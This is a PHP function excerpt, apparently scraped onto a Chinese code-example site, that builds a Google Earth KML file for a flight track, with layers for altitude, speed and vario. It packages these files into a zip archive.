    $file = sprintf("<?xml version='1.0' encoding='UTF-8'?>\n" . "<kml xmlns='http://earth.google.com/kml/2.2'>\n" . "    <Document>\n" . "        <name><![CDATA[%s]]></name>\n" . "        <LookAt>\n" . "           <longitude>%010.6f</longitude>\n" . "           <latitude>%010.6f</latitude>\n" . "           <range>32000</range>\n" . "           <tilt>64</tilt>\n" . "           <heading>0</heading>\n" . "        </LookAt>\n" . "        <open>1</open>\n" . "        <visibility>1</visibility>\n" . "        <description>\n" . "            <![CDATA[%s]]>\n" . "        </description>\n" . "        <Style id='tracks'>\n" . "            <ListStyle>\n" . "                <listItemType>radioFolder</listItemType>\n" . "            </ListStyle>\n" . "        </Style>\n" . "        <styleUrl>#tracks</styleUrl>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>0</visibility>\n" . "            <name>Plain</name>\n" . "            <Link><href>plain.kml</href></Link>\n" . "        </NetworkLink>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>1</visibility>\n" . "            <name>Altitude</name>\n" . "            <Link><href>altitude.kml</href></Link>\n" . "        </NetworkLink>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>0</visibility>\n" . "            <name>Speed</name>\n" . "            <Link><href>speed.kml</href></Link>\n" . "        </NetworkLink>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>0</visibility>\n" . "            <name>Vario</name>\n" . "            <Link><href>vario.kml</href></Link>\n" . "        </NetworkLink>\n" . "    </Document>\n" . "</kml>", $track['pilot'], $track['lon'][0], $track['lat'][0], $description);
    $zip->addFile($file, "main.kml");
    $zip->addFile(create_scale_image(300, 30), "scale.png");
    $zip->addFile($plain, "plain.kml");
    $zip->addFile($altitude, "altitude.kml");
    $zip->addFile($vario, "vario.kml");
    $zip->addFile($speed, "speed.kml");
    return $zip->file();
}
开发者ID:vicb,项目名称:VisuGps,代码行数:21,代码来源:vg_gettrack.php


注:本文中的zipfile::addFile方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。